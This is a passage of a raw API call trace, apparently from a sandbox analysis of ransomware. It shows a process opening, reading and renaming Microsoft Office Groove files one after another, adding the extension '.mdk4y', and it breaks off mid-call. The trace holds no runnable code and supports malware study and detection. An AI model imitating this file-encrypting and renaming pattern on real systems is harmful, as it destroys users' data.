dwFlags=0x0, lpWideCharStr="rtf_center.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_center.giff", lpUsedDefaultChar=0x37dda8) returned 14 [0220.998] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_center.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829622800000) returned 1 [0220.998] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x34f, lpOverlapped=0x0) returned 1 [0221.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829623000000) returned 1 [0221.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829623000000) returned 1 [0221.000] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_center.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_center.gif.mdk4y")) returned 1 [0221.001] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.001] AreFileApisANSI () returned 1 [0221.001] GetACP () returned 0x4e4 [0221.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_choosecolor.gif", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_choosecolor.giftml", lpUsedDefaultChar=0x37dda8) returned 19 [0221.002] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosecolor.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829623200000) returned 1 [0221.002] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3ec, lpOverlapped=0x0) returned 1 [0221.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829626100000) returned 1 [0221.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829626100000) returned 1 [0221.032] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosecolor.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosecolor.gif.mdk4y")) returned 1 [0221.034] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.034] AreFileApisANSI () returned 1 [0221.034] GetACP () returned 0x4e4 [0221.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_choosefont.gif", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_choosefont.giff", lpUsedDefaultChar=0x37dda8) returned 18 [0221.034] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosefont.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829626500000) returned 1 [0221.035] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x37a, lpOverlapped=0x0) returned 1 [0221.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829626600000) returned 1 [0221.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829626600000) returned 1 [0221.036] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosefont.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosefont.gif.mdk4y")) returned 1 [0221.037] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.037] AreFileApisANSI () returned 1 [0221.037] GetACP () returned 0x4e4 [0221.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_decreaseindent.gif", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_decreaseindent.gif", lpUsedDefaultChar=0x37dda8) returned 22 [0221.037] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_decreaseindent.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829626800000) returned 1 [0221.038] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35f, lpOverlapped=0x0) returned 1 [0221.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829626900000) returned 1 [0221.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829626900000) returned 1 [0221.039] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_decreaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_decreaseindent.gif.mdk4y")) returned 1 [0221.040] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.040] AreFileApisANSI () returned 1 [0221.040] GetACP () returned 0x4e4 [0221.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_hyperlink.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_hyperlink.gift.gif", lpUsedDefaultChar=0x37dda8) returned 17 [0221.041] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829627100000) returned 1 [0221.041] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xf1, lpOverlapped=0x0) returned 1 [0221.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829627200000) returned 1 [0221.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829627200000) returned 1 [0221.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif.mdk4y")) returned 1 [0221.043] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.043] AreFileApisANSI () returned 1 [0221.043] GetACP () returned 0x4e4 [0221.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_increaseindent.gif", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_increaseindent.gif", lpUsedDefaultChar=0x37dda8) returned 22 [0221.043] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.044] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829627400000) returned 1 [0221.044] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35d, lpOverlapped=0x0) returned 1 [0221.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829627900000) returned 1 [0221.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829627900000) returned 1 [0221.050] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif.mdk4y")) returned 1 [0221.051] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.051] AreFileApisANSI () returned 1 [0221.051] GetACP () returned 0x4e4 [0221.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_italic.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_italic.gifdent.gif", lpUsedDefaultChar=0x37dda8) returned 14 [0221.051] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829628200000) returned 1 [0221.052] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x354, lpOverlapped=0x0) returned 1 [0221.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829628300000) returned 1 [0221.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829628300000) returned 1 [0221.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif.mdk4y")) returned 1 [0221.054] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.054] AreFileApisANSI () returned 1 [0221.054] GetACP () returned 0x4e4 [0221.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_justify.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_justify.gifent.gif", lpUsedDefaultChar=0x37dda8) returned 15 [0221.055] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829628500000) returned 1 [0221.055] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x352, lpOverlapped=0x0) returned 1 [0221.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829628800000) returned 1 [0221.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829628800000) returned 1 [0221.058] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif.mdk4y")) returned 1 [0221.060] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.060] AreFileApisANSI () returned 1 [0221.060] GetACP () returned 0x4e4 [0221.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_pressed.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_pressed.gif", lpUsedDefaultChar=0x37dda8) returned 15 [0221.060] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829629100000) returned 1 [0221.061] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x373, lpOverlapped=0x0) returned 1 [0221.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829629200000) returned 1 [0221.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829629200000) returned 1 [0221.062] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif.mdk4y")) returned 1 [0221.063] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.063] AreFileApisANSI () returned 1 [0221.063] GetACP () returned 0x4e4 [0221.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_spellcheck.gif", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_spellcheck.gif.gif", lpUsedDefaultChar=0x37dda8) returned 18 [0221.063] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829629400000) returned 1 [0221.064] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xa0, lpOverlapped=0x0) returned 1 [0221.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829629500000) returned 1 [0221.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829629500000) returned 1 [0221.065] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif.mdk4y")) returned 1 [0221.066] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.066] AreFileApisANSI () returned 1 [0221.066] GetACP () returned 0x4e4 [0221.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_underline.gif", cchWideChar=17, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="rtf_underline.giff", lpUsedDefaultChar=0x37dda8) returned 17 [0221.066] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829629700000) returned 1 [0221.067] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35c, lpOverlapped=0x0) returned 1 [0221.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829629800000) returned 1 [0221.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829629800000) returned 1 [0221.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif.mdk4y")) returned 1 [0221.070] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.070] AreFileApisANSI () returned 1 [0221.070] GetACP () returned 0x4e4 [0221.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAVE.GIF", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SAVE.GIFrline.gif", lpUsedDefaultChar=0x37dda8) returned 8 [0221.070] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\save.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829630100000) returned 1 [0221.071] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x267, lpOverlapped=0x0) returned 1 [0221.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829630200000) returned 1 [0221.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829630200000) returned 1 [0221.076] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\save.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SAVE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\save.gif.mdk4y")) returned 1 [0221.092] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0221.092] AreFileApisANSI () returned 1 [0221.092] GetACP () returned 0x4e4 [0221.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUBMIT.JS", cchWideChar=9, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SUBMIT.JSline.gif", lpUsedDefaultChar=0x37dda8) returned 9 [0221.092] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\submit.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0221.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829632300000) returned 1 [0221.093] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x14307, lpOverlapped=0x0) returned 1 [0221.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829633900000) returned 1 [0221.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829633900000) returned 1 [0221.110] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\submit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\SUBMIT.JS.mdk4y" (normalized: 